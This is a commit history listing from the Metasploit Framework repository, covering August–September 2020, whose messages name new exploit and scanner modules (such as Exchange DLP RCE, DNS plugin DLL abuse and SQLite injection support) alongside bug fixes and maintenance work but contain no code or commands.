Compare commits

...

1138 Commits

Author SHA1 Message Date
Metasploit 3e00adf61c automatic module_metadata_base.json update 2020-09-17 11:03:21 -05:00
Christophe De La Fuente 7323447c0a Land #14117', Hyper-V VM Enumeration Module 2020-09-17 17:52:27 +02:00
Grant Willcox a5c30be10b Land #14143, Replace erroneous calls to get_service 2020-09-17 10:41:15 -05:00
Grant Willcox b9ead300a8 Land #14145, Fix base64 error with the web service when storing a file into MSF's loot 2020-09-17 09:46:22 -05:00
Adam Galway 9a75fa681a removes undeeded id insertion into URL 2020-09-17 14:19:10 +01:00
Grant Willcox ef2ed891d4 Land #14146, Fix typo in YARD documentation for rpc_session.rb 2020-09-16 16:10:39 -05:00
Grant Willcox 85ef2b602e Fix up regex in module to address changes noted in review. Also update documentation to remove an extra line and to address review recommendtations 2020-09-16 16:02:54 -05:00
Metasploit e7628d0c24 automatic module_metadata_base.json update 2020-09-16 15:41:14 -05:00
Spencer McIntyre c2d101a06b Land #14126, Add Microsoft Exchange Server DLP Policy RCE (CVE-2020-16875) 2020-09-16 16:31:13 -04:00
Spencer McIntyre 4c1ce8834e Land #14139, Add cookie management to HttpClient and improve standards compliance 2020-09-16 16:02:29 -04:00
William Vu 5bda3b4b9d Revert "Make User-Agent consistent across requests"
This reverts commit 0ec97aa447.
2020-09-16 13:24:18 -05:00
William Vu da4e960eb0 Revert "Fix HttpUserAgent to UserAgent"
This reverts commit 3c8390a1c7.
2020-09-16 13:24:14 -05:00
William Vu 3c8390a1c7 Fix HttpUserAgent to UserAgent
Payload vs. HttpClient. Whoops.
2020-09-16 13:03:55 -05:00
William Vu 0ec97aa447 Make User-Agent consistent across requests 2020-09-16 12:59:17 -05:00
William Vu 03e0b9098c Add more words about Exchange role groups 2020-09-16 12:55:08 -05:00
William Vu 3508ba23d9 Don't expose HttpClient dev options to the user
HttpKeepCookies and HttpPartialResponses have been removed.
2020-09-16 12:26:11 -05:00
Metasploit 1255c4a059 automatic module_metadata_base.json update 2020-09-16 10:35:56 -05:00
Shelby Pace 0f0d6a233b Land #14074, add Mida eFramework command injection 2020-09-16 10:24:51 -05:00
The Zero Day Initiative Team eb49949639 simple typo fix in comment (in the YARD)
changes # ...actioin to action
2020-09-16 10:18:03 -05:00
Adam Galway 24d1d37a93 Land #14120, services -S stays in correct wrkspace 2020-09-16 15:54:22 +01:00
Christophe De La Fuente 3728df544e base64-encode data for string and array 2020-09-16 16:49:44 +02:00
Adam Galway 14b233f957 fixes broken tests 2020-09-16 15:20:16 +01:00
Adam Galway 4918ecf826 replaced get_service calls with services calls 2020-09-16 12:29:15 +01:00
William Vu e118ff1509 Add Microsoft Exchange Server DLP Policy RCE
CVE-2020-16875
2020-09-16 02:41:08 -05:00
Tim W 08fbce5220 Land #14125, add SCREEN_EFFECTS note to tccbypass 2020-09-16 15:14:29 +08:00
William Vu a946bdb67c Add cookie management to HttpClient 2020-09-16 00:13:26 -05:00
William Vu 6e64d74a56 Fix send_request_cgi! behavior to use PRG pattern 2020-09-15 15:50:57 -05:00
William Vu cada3cdf52 Fix ArgumentError in res.redirection from URI(nil) 2020-09-15 15:50:17 -05:00
William Vu 53fd5c9d14 Fix GET ctype=application/x-www-form-urlencoded 2020-09-15 15:50:07 -05:00
William Vu 1ce860a371 Land #14138, nexus_repo_manager_el_injection fix
Just the doc.
2020-09-15 13:24:10 -05:00
William Vu 5ba3301d16 Fix nexus_repo_manager_el_injection.md scenario
Missed in 966194d2b7.
2020-09-15 13:14:36 -05:00
Metasploit 67dbb34769 automatic module_metadata_base.json update 2020-09-14 11:50:55 -05:00
Christophe De La Fuente e11840c2a5 land #14031, F5 processor 2020-09-14 18:38:58 +02:00
h00die daa10ea735 enhance user data parsing 2020-09-12 10:07:23 -04:00
Spencer McIntyre 61fd7334b7 Land #13571, add Session notified to DingTalk Bot 2020-09-11 18:13:47 -04:00
Metasploit 38700737aa automatic module_metadata_base.json update 2020-09-11 15:09:25 -05:00
bwatters 3f689ccae9 Add warning for screen effect to tccbypass 2020-09-11 15:07:52 -05:00
bwatters f248f20b9e Land #13942, Add module for CVE-2020-9934
Merge branch 'land-13942' into upstream-master
2020-09-11 14:58:50 -05:00
Brendan Coles febe38e1ce resolve qa comments 2020-09-11 17:16:10 +00:00
Grant Willcox b3d386bdb4 Apply msftidy_docs.rb fixes and RuboCop the module 2020-09-11 09:40:37 -05:00
Tim W 93cdba483d add documentation 2020-09-11 17:31:40 +08:00
Lucas Vater 9101b4fba6 Group multi-column search conditions
Previously the OR-relations generated by the multi-column search method
were not grouped, resulting in wrong precedence in places where they are
used.
2020-09-11 08:40:28 +02:00
Grant Willcox 905fb73b7a Add in initial copy of module and documentation 2020-09-10 18:52:13 -05:00
adfoster-r7 a9197c482f Land #14111, remove calculation of payload sizes on boot 2020-09-10 22:10:25 +01:00
Metasploit bb5bc942ab Bump version of framework to 6.0.7 2020-09-10 13:38:26 -05:00
Adam Cammack e95bd3b6f8 Bump version of framework to 6.0.6 2020-09-10 13:19:11 -05:00
Metasploit 0fcc94f08e automatic module_metadata_base.json update 2020-09-10 12:01:47 -05:00
Grant Willcox d4cf660e61 Land #12983, Dnsadmin ServerLevelPluginDLL Feature Abuse Privilege Escalation 2020-09-10 11:49:42 -05:00
gwillcox-r7 593945ee61 Update module documentation with more detail r.e affected versions and the fact that the use of UNC paths could cause an issue if they are not typed in correctly. Also update the module documentation to use the output from recent tests to reflect recent changes. Shortern the module description and update its stability rating. Finally add in a reliability rating for the exploit module. 2020-09-10 11:32:45 -05:00
gwillcox-r7 16b27ae270 Add in version checking to ensure we only check if the target has the 'Enable insecure guest logons' enabled if their build number is greater than or equal to 10.0.16299.0, which was the build where this change first was implemented. 2020-09-10 11:32:45 -05:00
gwillcox-r7 45480373a9 Fix up the exploit module so that it will not wait for AV if a UNC path is used, as there is no chance the AV on the host can remove the file on the UNC share, and the UNC share won't be accessed until the exact moment it is needed 2020-09-10 11:32:45 -05:00
gwillcox-r7 7e1560ff26 Update documentation with the installation instructions I mentioned in the GitHub comments. Also RuboCop the exploit module code. 2020-09-10 11:32:18 -05:00
gwillcox-r7 0d493bbc54 Add in extra code to handle cases where the loops may enter a infinte loop state. New code should prevent this from happening 2020-09-10 11:32:18 -05:00
gwillcox-r7 a94d36248b Add in the AVTIMEOUT option to allow the module to check if any AV or other processes deleted the uploaded DLL file, thereby preventing a situation where the DNS server is unable to restart. Also add in some warning's r.e when we enter the danger section and when we exit it so that users at more aware of when this is happening. 2020-09-10 11:32:18 -05:00
gwillcox-r7 d0fe87fbf6 Update documentation with some updated info about potentially bad situations the module could run into, and also include some new documentation on the new option we have added in to try to prevent this from happening 2020-09-10 11:32:18 -05:00
gwillcox-r7 78dc43efa5 Fix up incorrect regex within the check method to fix a logic bug 2020-09-10 11:32:18 -05:00
ide0x90 c4d463e921 Added option to generate standalone DLL. 2020-09-10 11:32:18 -05:00
ide0x90 53f3b70b33 Changed DLL so that it doesn't block the DNS service from stopping after the module executes.
Added OS check (>= Server 2003 is vulnerable so far).
Now cleans up dropped DLL and modified registry value.
2020-09-10 11:32:18 -05:00
ide0x90 7701ea1bc8 Compile DLL so that the DNS service doesn't crash when the module is run. 2020-09-10 11:32:18 -05:00
ide0x90 151fdb7ea5 Reduced exploit ranking and added check to see if session is elevated. 2020-09-10 11:32:18 -05:00
ide0x90 d1e9039af4 Initial module and documentation for Microsoft Windows DNS ServerLevelPluginDll abuse 2020-09-10 11:31:51 -05:00
Metasploit bfdbb909fd automatic module_metadata_base.json update 2020-09-10 11:04:53 -05:00
Grant Willcox bc49826766 Land #14099, Fix user path in enum_powershell_env for new versions of Windows 2020-09-10 10:53:15 -05:00
Metasploit fe6bfad8fb automatic module_metadata_base.json update 2020-09-10 10:00:24 -05:00
Adam Cammack cc8321e8c8 Land #14096, Fix payload cache size generation 2020-09-10 09:47:52 -05:00
Adam Galway 6a011fe1ee Land #14112, stale bot operations now 25 per run 2020-09-10 14:26:52 +01:00
dwelch-r7 df7483af6c Remove sizes hash and calculation of payload sizes on boot 2020-09-10 12:57:40 +01:00
dwelch-r7 d63a79b35f Increase operations per run 2020-09-09 16:35:31 +01:00
Spencer McIntyre f2e3480469 Just give travis the sizes it's expecting 2020-09-09 08:49:01 -04:00
Tim W 686ef94e37 fix mkdir 2020-09-09 15:36:31 +08:00
Tim W c725a713af more feedback from bcoles 2020-09-09 14:21:03 +08:00
Tim W d447bbc3dc feedback from bcoles 2020-09-09 13:27:11 +08:00
Tim W 42d70bb2a2 Add module for CVE-2020-9934 2020-09-09 13:27:11 +08:00
Metasploit 9a5f393e0b automatic module_metadata_base.json update 2020-09-08 13:14:38 -05:00
gwillcox-r7 488977bec7 Land #13836, Add Modbus banner grabbing module 2020-09-08 13:03:44 -05:00
gwillcox-r7 0270a09d10 Add in further fixes to address issues discovered during manual code review, and then apply RuboCop fixes 2020-09-08 12:29:39 -05:00
gwillcox-r7 ea8cf7b71e Fix up one of the documentation lines to reflect the fact that we can get the version number in the major.minor version format. Also fix up the Options section to remove the default option and replace it with a line that I think should be more appropriate 2020-09-08 12:29:38 -05:00
Juan Escobar 710ac48d26 Remove the UNIT_ID option from the registers_option section and from the documentation, and update the module with a link to the Modbus protocol specification. 2020-09-08 12:28:14 -05:00
gwillcox-r7 c6d98a537b Add in various fixes for review comments, including description improvements, validation of the UNIT_ID value, and fixes to the return values of some functions. Also update the documentation to address issues from first round of the review. 2020-09-08 12:27:47 -05:00
itsecurityco 182797fcbb Update documentation to fix spelling mistakes and grammar issues 2020-09-08 12:27:35 -05:00
itsecurityco bec08f5f3e more appropiate message when num_object is null 2020-09-08 12:27:35 -05:00
Juan 5f75479bb0 bold title 2020-09-08 12:27:35 -05:00
Juan 04e09267cf Refactor the module's code and fix several typos
Co-authored-by: bcoles <bcoles@gmail.com>
2020-09-08 12:27:00 -05:00
itsecurityco a2a69f58a7 Improve documentation 2020-09-08 12:26:33 -05:00
itsecurityco 288a35f701 patch bug when unit id is invalid 2020-09-08 12:26:33 -05:00
itsecurityco a0f91d93ad Upload initial copy of the module and its documentation 2020-09-08 12:26:06 -05:00
Adam Galway 6a1d26aa80 Land #14106, search hightlights multiple matches 2020-09-08 14:37:08 +01:00
Alan Foster 437f11bf56 Updates search command to always show additional usage details 2020-09-08 13:30:56 +01:00
adfoster-r7 b0696343a4 Land #14090, Add example of info 3 to the search results 2020-09-08 13:23:41 +01:00
Adam Galway 645562a7de Land #14104, excludes more labels from stale bot 2020-09-08 12:52:38 +01:00
dwelch-r7 5769519d2d Exclude more labels from stale bot 2020-09-08 12:08:36 +01:00
Metasploit 190d5c3843 automatic module_metadata_base.json update 2020-09-07 09:55:54 -05:00
adfoster-r7 be5cd6e26c Land #14089, update smb_version module to use select instead of filter for backwards compatibility 2020-09-07 15:45:04 +01:00
adfoster-r7 97f523b1b1 Land #14056, activate stale bot 2020-09-07 15:08:52 +01:00
dwelch-r7 234ef7cd6d Reduce operations per run 2020-09-07 14:07:54 +01:00
James Lee a870b1df71 Fix user path on newer Windows 2020-09-05 10:43:41 -05:00
Metasploit ce17c434ae automatic module_metadata_base.json update 2020-09-04 16:04:03 -05:00
bwatters e592736833 Land #13992, Add module for CVE-2020-9839, LPE for macOS <= 10.15.4
Merge branch 'land-13992' into upstream-master
2020-09-04 15:53:17 -05:00
bwatters 5e2a3a6f65 Recompiled binary exploit file to match source 2020-09-04 15:46:52 -05:00
Spencer McIntyre 1b77d01f23 Fix a payload cache size generation issue and bump the gem 2020-09-04 15:43:55 -04:00
adfoster-r7 749423da02 Land #14091, update issue template with the debug command 2020-09-04 14:30:31 +01:00
Adam Galway 2c1b6eddfc Updates bug report to include debug instructions 2020-09-04 14:28:01 +01:00
Metasploit d69f344b30 automatic module_metadata_base.json update 2020-09-04 05:00:44 -05:00
cgranleese-r7 2e19c9ec83 Add example of info 3 to the search results 2020-09-04 10:53:04 +01:00
Adam Galway 242656bc07 Land #13978, proxy support for Python Meterpreter 2020-09-04 10:50:41 +01:00
Tim W 7b1f5c1728 add documentation 2020-09-04 17:42:30 +08:00
Erik Geiser efaeb1b80e Use select in smb_version scanner for ruby <= 2.5
Use Array.select! instead of Array.filter! (which is an alias for the
former) in the smb_version scanner module to be compatible with ruby
versions <= 2.5.
2020-09-04 10:54:20 +02:00
Metasploit d8447e9708 Bump version of framework to 6.0.5 2020-09-03 12:04:46 -05:00
Metasploit 0e6f6cdbbe automatic module_metadata_base.json update 2020-09-02 17:27:20 -05:00
bwatters 8fb8b00539 Land #14075, Add support for ZIP file generation in zip_slip exploit
Merge branch 'land-14075' into upstream-master
2020-09-02 17:15:27 -05:00
bwatters 149566b30e Run rubocop 2020-09-02 17:14:30 -05:00
Metasploit 8c215c758e automatic module_metadata_base.json update 2020-09-02 15:32:19 -05:00
gwillcox-r7 20e4b3e71f Land #14083, Update enum_patches.rb to include the patch installation date 2020-09-02 15:21:14 -05:00
gwillcox-r7 f10871a776 Update documentation for the enum_patches.rb module to reflect recent changes to its code and output 2020-09-02 15:20:36 -05:00
Metasploit d15e27fc9e automatic module_metadata_base.json update 2020-09-02 14:53:43 -05:00
gwillcox-r7 161083e6e4 Land #14084, Add writeup URL reference to peplink_bauth_sqli 2020-09-02 14:44:15 -05:00
gwillcox-r7 632a3bd0da Land #14081, Move SECURITY.md from root folder to the .github folder 2020-09-02 14:36:59 -05:00
Tod Beardsley 3e582ecd67 Move just SECURITY.md to .github 2020-09-02 14:31:11 -05:00
Arjun G b2bd40ef03 Updated module description
Changed string description to call out the modified WMI query that now also pulls in the InstalledOn metadata for a given KB.
2020-09-02 11:33:50 -07:00
Niboucha Redouane 6d1a905206 Add url reference to a writeup on implementing the module 2020-09-02 20:19:03 +02:00
Arjun G ca846fa8c1 Changing print statements to follow Ruby style
In response to PR feedback
2020-09-02 10:59:15 -07:00
Metasploit 534bd1fcd2 automatic module_metadata_base.json update 2020-09-02 12:32:47 -05:00
Spencer McIntyre c2d49384c0 Land #13980, Reflective PE Payloads Added 2020-09-02 13:22:30 -04:00
Spencer McIntyre 67df4ea672 Adjust verbiage and whitespace, remove a buggy asm instruction 2020-09-02 13:20:50 -04:00
ggkitsas 62d3d9bc9a fix: reverts misuse of in zip_slip exploit 2020-09-01 21:49:55 +01:00
Metasploit e01d9e701b automatic module_metadata_base.json update 2020-09-01 09:54:09 -05:00
Adam Galway 3690bafeb6 Land #14050, fixes db_import bug with zip files 2020-09-01 15:41:17 +01:00
bwatters b135367730 Land #14068, Update smb_enum_gpp to use RubySMB
Merge branch 'land-14068' into upstream-master
2020-09-01 09:33:15 -05:00
Spencer McIntyre e54d6857ea Land #13919, [GSoC] Ev2 - Easier actions interaction system for modules implemented 2020-09-01 09:23:06 -04:00
Spencer McIntyre c8a8e1ccd4 Land #14062, Add a SECURITY.md file 2020-09-01 08:44:12 -04:00
María Belén Tualombo Chimbo 9eca457358 avoid using the datastore and use kwarg 2020-09-01 04:30:14 -04:00
Tim W c23cb63c6e exploit binary 2020-09-01 14:10:34 +08:00
Arjun G fb4acd53b5 Include KB installation date in enum_patches
Currently, the output of this module only lists the KB packages installed on a Windows PC. 

This change improves the module by also having it output when a given patch package was installed (this information can also be retrieved from the WMI query); this will provide insight into how regularly and reliably a PC (and by extension, environment) patches - for example, are they late in installing patches by months, when did they last patch etc.
2020-08-31 17:38:02 -07:00
Spencer McIntyre 27a2ef6945 Land #14072, Python3 / bash checks and improvements when using 'shell' 2020-08-31 17:35:32 -04:00
Reelix 296a0654da Update lib/msf/core/payload/python.rb
- Implemented bug fix and naming improvement as suggested by @smcintyre-r7

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-31 22:52:27 +02:00
Reelix d46f0cec48 Update python.rb
- Added py_create_exec_stub required for https://github.com/rapid7/metasploit-framework/pull/14072
2020-08-31 21:22:46 +02:00
Reelix f5a85890fd Update command_shell.rb
- Implement changes suggested by @smcintyre-r7
2020-08-31 21:16:33 +02:00
Ege Balcı 84b229d393 Major changes on x64 PE loader and several improvments 2020-08-31 21:35:59 +03:00
Tod Beardsley cd69e2a1d9 Fix SECURITY.md for less clever GH Issues and link 2020-08-31 13:25:56 -05:00
gwillcox-r7 e7ad8d93df Land #14065, Switch to lazily loading the faker module 2020-08-31 12:06:11 -05:00
Brendan Coles f5717e2a17 Add software URL 2020-08-31 15:50:37 +00:00
Metasploit 12d1ec8769 automatic module_metadata_base.json update 2020-08-31 10:07:19 -05:00
Spencer McIntyre 3a87dfac8a Land #14066, report CheckCode for check failure 2020-08-31 10:57:01 -04:00
Jeffrey Martin ddb6782d8d convert from fail_with to detailed CheckCode 2020-08-31 09:46:16 -05:00
Spencer McIntyre e5e1ce7816 Land #14064, fixed module html references for info -d command 2020-08-31 10:45:18 -04:00
ggkitsas 788244150c Add support for zip generation in zip_slip exploit 2020-08-31 13:18:14 +01:00
Brendan Coles 9d33ebd54a Add Mida Solutions eFramework ajaxreq.php Command Injection 2020-08-30 12:46:00 +00:00
Reelix b9db589105 Update command_shell.rb
- Converted a missed tab to spaces
2020-08-30 09:48:19 +02:00
Reelix b61a5e5f75 Update command_shell.rb
- Fixed spacing (Tabs VS Spaces)
2020-08-30 09:45:38 +02:00
Reelix e2a008eade Update command_shell.rb
- Improved path detection
- Check for bash with python / python3 and use it if it exists
- Minor grammatical improvements
2020-08-30 09:22:25 +02:00
María Belén Tualombo Chimbo 30bebdba26 some minor changes 2020-08-29 17:38:19 -04:00
María Belén Tualombo Chimbo db4de72be8 lowercase added to help output for action commands 2020-08-29 14:00:15 -04:00
María Belén Tualombo Chimbo 769b4ab5dc help output for action commands updated 2020-08-29 05:51:53 -04:00
Spencer McIntyre 58a56a2b24 Support an explicit backend for the SMB simple client 2020-08-28 17:28:07 -04:00
Spencer McIntyre d58cb9f9c8 Add documentation for the smb_enum_gpp module 2020-08-28 16:34:29 -04:00
Spencer McIntyre 9acafb7797 Update the smb_enum_gpp module to work with RubySMB 2020-08-28 16:20:42 -04:00
Jeffrey Martin 983434aff6 fix a missing argument for fail_with 2020-08-28 10:55:09 -05:00
dwelch-r7 c92bc38a86 switch to lazy loading faker 2020-08-28 14:56:11 +01:00
adfoster-r7 760aba0ace Land #14061, ensure framework options are passed through from msfvenom
Reduce msfvenom run time by only loading relevant modules
2020-08-28 12:44:52 +01:00
adfoster-r7 763448c971 Land #14053, Add the ability to use numerics with the info command 2020-08-28 11:07:34 +01:00
cgranleese-r7 d6b9165c7c fixed module html references for info -d command 2020-08-28 10:59:22 +01:00
Metasploit f14f70d3e6 automatic module_metadata_base.json update 2020-08-28 04:32:34 -05:00
cgranleese-r7 e094a55ff2 Add the ability to use numerics with info command 2020-08-28 10:28:07 +01:00
adfoster-r7 62d45870dc Land #14040, Use CheckModule auxiliary/scanner/misc/java_rmi_server in exploit/multi/misc/java_rmi_server 2020-08-28 10:22:35 +01:00
Ege Balcı 4bd8690370 Several bug fixes on x64 PE loader and PE mapper 2020-08-28 01:08:29 +03:00
Metasploit a61db036d7 automatic module_metadata_base.json update 2020-08-27 16:59:46 -05:00
Jeffrey Martin 1d2443ce1e Land #13847, [GSoC] Add SQLite injection support 2020-08-27 16:40:11 -05:00
Niboucha Redouane 8d64cb9b6b Rename the common utilities from utils to common 2020-08-27 22:54:42 +02:00
todb-r7 ca590c7aff Add a SECURITY.md file
Git has this cool sheild button on the ribbon on every project now that
indicates the vulnerability reporting policy for that project. We should
totally populate this so people don't accidnetally dox our bugs on
Issues.
2020-08-27 15:12:53 -05:00
adfoster-r7 177f720f80 Land #14021, when searching modules for multiple text terms, the search will now require for all words to be matched 2020-08-27 20:02:55 +01:00
Niboucha Redouane d66bb4058e Fix documentation, remove unused instance variable in SQLite TimeBasedBlind class (sleepdelay) 2020-08-27 19:08:27 +02:00
Metasploit 935340ab2a Bump version of framework to 6.0.4 2020-08-27 12:05:38 -05:00
adfoster-r7 de0826f353 Merge pull request #2, Pass args through to search for cmd_use 2020-08-27 17:47:20 +01:00
dwelch-r7 4ace8e39c1 Pass args through to search for cmd_use 2020-08-27 17:39:43 +01:00
María Belén Tualombo Chimbo bbb032b83d minor fix 2020-08-27 11:42:12 -04:00
María Belén Tualombo Chimbo ddfc554026 Some improvements suggested for code optimization 2020-08-27 11:29:25 -04:00
Niboucha Redouane d54046fc1b Make peplink_bauth_sqli a gather module, and gather as much useful data as possible 2020-08-27 16:28:39 +02:00
Niboucha Redouane 3e73f5efe4 get_cookies insead of accessing the Set-Cookie header
as the #get_cookies method is getting fixed to support case-insensitive cookie presence checking

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2020-08-27 16:28:39 +02:00
Niboucha Redouane 24b5f8a332 Refactor peplink_bauth_sqli to support check 2020-08-27 16:28:39 +02:00
Niboucha Redouane 7a89542b28 add error messages when no sessions found, and run msftidy_docs 2020-08-27 16:28:39 +02:00
Niboucha Redouane 348c955253 Add documentation for peplink_bauth_sqli 2020-08-27 16:28:39 +02:00
Niboucha Redouane b9b242391f Fix peplink_bauth_sqli module authors 2020-08-27 16:28:38 +02:00
Niboucha Redouane a681f7ac46 Add more options to the peplink SQLi module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 6cd9fa81d6 Add first version of peplink SQLi module (DBMS used being SQLite3) 2020-08-27 16:28:38 +02:00
Niboucha Redouane 4e302dc42b Move get_bitmask to the SQLi::Utils module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 95ce79b418 Add more options to the test module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 2bb2b73dc2 Refactor to avoid repetitive code on Blind SQLi implementations 2020-08-27 16:28:38 +02:00
Niboucha Redouane 080e25ee6a Various fixes and enhacements to the comments, and addition of write_to_file method 2020-08-27 16:28:38 +02:00
Niboucha Redouane e0c59ede5c Comment the SQLite methods 2020-08-27 16:28:38 +02:00
Niboucha Redouane 1c69dfd5df Add safe mode for SQLi, and support limiting the number of rows to be returned 2020-08-27 16:28:38 +02:00
Niboucha Redouane a42ae5280b Update SQLite support to work with the new factory redesign 2020-08-27 16:28:38 +02:00
Niboucha Redouane 4374edd37a add truncated SQLi in SQLite, and update test module to add it as an option 2020-08-27 16:28:38 +02:00
Niboucha Redouane 8f9a849591 fix test module, and fix logging 2020-08-27 16:28:38 +02:00
Niboucha Redouane 477f7313a2 Avoid repertitive code in blind injections 2020-08-27 16:28:38 +02:00
Niboucha Redouane 26e5fc99de add SQLite injection library, and test module (against sqlite_lab) 2020-08-27 16:28:38 +02:00
dwelch-r7 98eaef20b3 Reduce msfvenom run time by only loading relevant modules
Work was already done, just need the args passed in
2020-08-27 15:25:33 +01:00
Metasploit 07acf7bd37 automatic module_metadata_base.json update 2020-08-27 09:00:13 -05:00
Spencer McIntyre 5e636c8c84 Land #13906, Add a generic LDAP hashdump module 2020-08-27 09:50:15 -04:00
Spencer McIntyre aa60b4efc0 Switch back to using fail_with now that the issue is fixed 2020-08-27 09:14:51 -04:00
Hynek Petrak f8bf996233 parent 1bd4a8d752
author Hynek Petrak <hynek.petrak@gmail.com> 1595628792 +0200
committer Spencer McIntyre <Spencer_McIntyre@rapid7.com> 1598532753 -0400

Added module to dump hashes from LDAP

added hash formatters, documentation, ldap authentication

typo

sanitizing

added scenario for NASDeluxe

added few hash attribute examples

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

typo correction

Co-authored-by: bcoles <bcoles@gmail.com>

avoid option name conflicts

added test scenario

linted

linted

Dump all nameContexts, not just the first one. Search creds in multiple attributes.

attemt to dump special and operational attributes

check if ldap bind succeeded

sanitize the ldap hashes, skip invalid, remove {crypt} prefix

memory optimization for large LDAP servers

spaces at eols

put header to the ldif loot

added other LDAP hash formats, don't save empty ldif, dump root DSE

now we handle vmdir case too

explictly set md5crypt for $

Converted to scanner to improve performance on large networks

krbprincipalkey, memory optimization for ldap.search

handle additional hash types

be verbose about search errors

added per host timeout

catch exception from Net::Ldap

shorten the param value

handle pwdhistory entries

added comment about sambapwdhistory value

reject shorter empty sambapassordhistory entries

reject null nt and lm hashes

report assumed clear text passwords

refactored timeout for the sake of the loot

ignore {SASL} pass-trough auth entries

distinguish unresolved hashes from clear passwords

print ldap server error message, meaningful loot name

correct exception handling

handle hashes with eol

remove debug line

handle pkcs12 in binary form

attemt to control timeout on bind operation

leave LDAP#bind to be called implicitly in #search

remove debug line

fixed bug, when pillage broke the outer LDAP#search

learning ruby

monkey patched ldap connection handling, ignoring bind errors

commenting the net:LDAP misbehaviour

review fixes

review fixes

moving ldap.search into a function

remove fail_with, store loot from one place, print statistics

linting

consolidated ldap_new and connect, don't catch exceptions in the mixin

Complete the credential creation

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-27 09:05:07 -04:00
Metasploit 518e7b3cd6 automatic module_metadata_base.json update 2020-08-27 06:44:50 -05:00
Christophe De La Fuente af06429629 Land #14048 - Allow scanner modules to skip hosts on fail_with 2020-08-27 13:32:51 +02:00
Tim W c069d940a9 fix restoring of /etc/pam.d/login 2020-08-27 19:04:43 +08:00
dwelch-r7 bea6259560 Set exempt labels 2020-08-26 22:09:16 +01:00
William Vu c45c01f888 Rescue connection errors and return a CheckCode
Oops, the Scanner mixin was silently catching them.
2020-08-26 12:34:03 -05:00
Ege Balcı 66292a5f28 DLL preamble fixed & exitfunk is now optional 2020-08-26 19:45:44 +03:00
Ege Balcı 071eb14e4e Update lib/msf/core/payload/windows/x64/reflective_pe_loader.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-26 19:04:17 +03:00
Spencer McIntyre 855aa3c521 Override fail_with in auxiliary/scanner to add an abort kwarg 2020-08-26 09:10:01 -04:00
Matthew Hagan 97eb04a1e3 Fixing zip import errors
in particular:
•passed workspace as an object instead of calling `.name`
*loot and task processing now consumes `wspace` parameter
*fixed typo in `.delete` method
2020-08-25 17:45:30 -05:00
Spencer McIntyre d1baf9677e Use nmod.vprint_error to handle peer correctly 2020-08-25 17:43:07 -04:00
Spencer McIntyre a4a0a3ab23 Allow scanner modules to skip hosts on fail_with 2020-08-25 17:38:40 -04:00
Ege Balcı 9745385346 More PE validation methods added 2020-08-26 00:13:30 +03:00
h00die 537be9054d spacing and a to an 2020-08-25 16:17:37 -04:00
h00die 4ba3c95e8a fix follow param 2020-08-25 16:13:27 -04:00
Metasploit 5368536d1a automatic module_metadata_base.json update 2020-08-25 09:16:49 -05:00
Christophe De La Fuente 0052da9d15 Land #14043', fix jupyter-login when scanning non-Jupyter hosts 2020-08-25 16:05:53 +02:00
Metasploit b2e38eb582 automatic module_metadata_base.json update 2020-08-25 08:47:46 -05:00
Spencer McIntyre 9bd687edcd Land #14034, telpho10_credential_dump: Prevent traversal in untar 2020-08-25 09:35:32 -04:00
dwelch-r7 84c9e95073 Land #14045, Reload module after toggling feature
Reload module after toggling feature
2020-08-25 14:16:02 +01:00
Alan Foster 37fd5dee27 Reload module after toggling features 2020-08-25 12:27:25 +01:00
dwelch-r7 6e4ec6fbf3 Land #14041, Fix features help command
Fix features help command
2020-08-25 10:08:34 +01:00
cn-kali-team f26133bef0 add dingtalk's code 2020-08-25 12:06:57 +08:00
cn-kali-team 736511f930 remove dingtalk_plugins 2020-08-25 12:06:30 +08:00
Spencer McIntyre e75bd31a70 Fix jupyter-login when scanning non-Jupyter hosts 2020-08-24 16:02:35 -04:00
Metasploit c087ef3fa7 automatic module_metadata_base.json update 2020-08-24 14:51:45 -05:00
Shelby Pace d7ecb08eca Land #14039, prefer cc in rtld_execl_priv_esc 2020-08-24 14:40:19 -05:00
Alan Foster 6066bd87cb Fix features help command 2020-08-24 17:31:04 +01:00
William Vu f08349982d Use CheckModule scanner in java_rmi_server exploit 2020-08-24 10:11:03 -05:00
Brendan Coles 786d59d360 Use AutoCheck mixin and prefer cc over gcc 2020-08-24 11:47:50 +00:00
Spencer McIntyre 2228cef857 Land #13979, Fixed segment_injector.rb x64 shellcode 2020-08-21 17:16:46 -04:00
Spencer McIntyre f69facc96b Fix the syntax and placement of the stack alignment instruction 2020-08-21 17:09:06 -04:00
Metasploit 27456ab1a6 automatic module_metadata_base.json update 2020-08-21 15:54:51 -05:00
Shelby Pace 841d488667 Land #13985, add Cisco ssh dos module 2020-08-21 15:45:27 -05:00
Shelby Pace cd351a22b1 fix msftidy warnings 2020-08-21 15:37:05 -05:00
Metasploit 2443d38a8d automatic module_metadata_base.json update 2020-08-21 15:15:17 -05:00
Shelby Pace c578fde89c Land #13982, add cisco 7937g ssh privesc 2020-08-21 15:04:24 -05:00
Shelby Pace 39284d4263 align logging line, fix msftidy_docs warning 2020-08-21 14:55:45 -05:00
debifrank 22a09b4f1d Merge pull request #1 from space-r7/cisco-13985
add randomize ssh cred function
2020-08-21 14:25:23 -04:00
Shelby Pace 06f0e2ee92 add randomize ssh cred function 2020-08-21 13:13:33 -05:00
Metasploit 3dc6e3d2fb automatic module_metadata_base.json update 2020-08-21 12:48:51 -05:00
debifrank 28068cd85c Update cisco_7937g_dos.md 2020-08-21 13:43:14 -04:00
debifrank 33524c0cbf Create cisco_7937g_ssh_privesc.py 2020-08-21 13:40:53 -04:00
debifrank 8ea1f5acc2 Delete cisco_7937g_ssh_privesc.py 2020-08-21 13:40:17 -04:00
debifrank eda50d2a20 Delete cisco_7937g_ssh_privesc.md 2020-08-21 13:39:41 -04:00
adfoster-r7 5a26aa602e Land #14014, improve squid_pivot_scanning's handling of http response codes 2020-08-21 18:39:05 +01:00
debifrank 7598c9ec80 Create cisco_7937g_ssh_privesc.md 2020-08-21 13:39:00 -04:00
h00die bba98d4f16 fix spec 2020-08-21 11:32:26 -04:00
